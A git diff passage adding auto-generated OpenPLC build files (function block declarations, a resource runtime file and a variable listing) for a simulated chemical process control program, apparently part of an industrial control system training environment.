+__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; 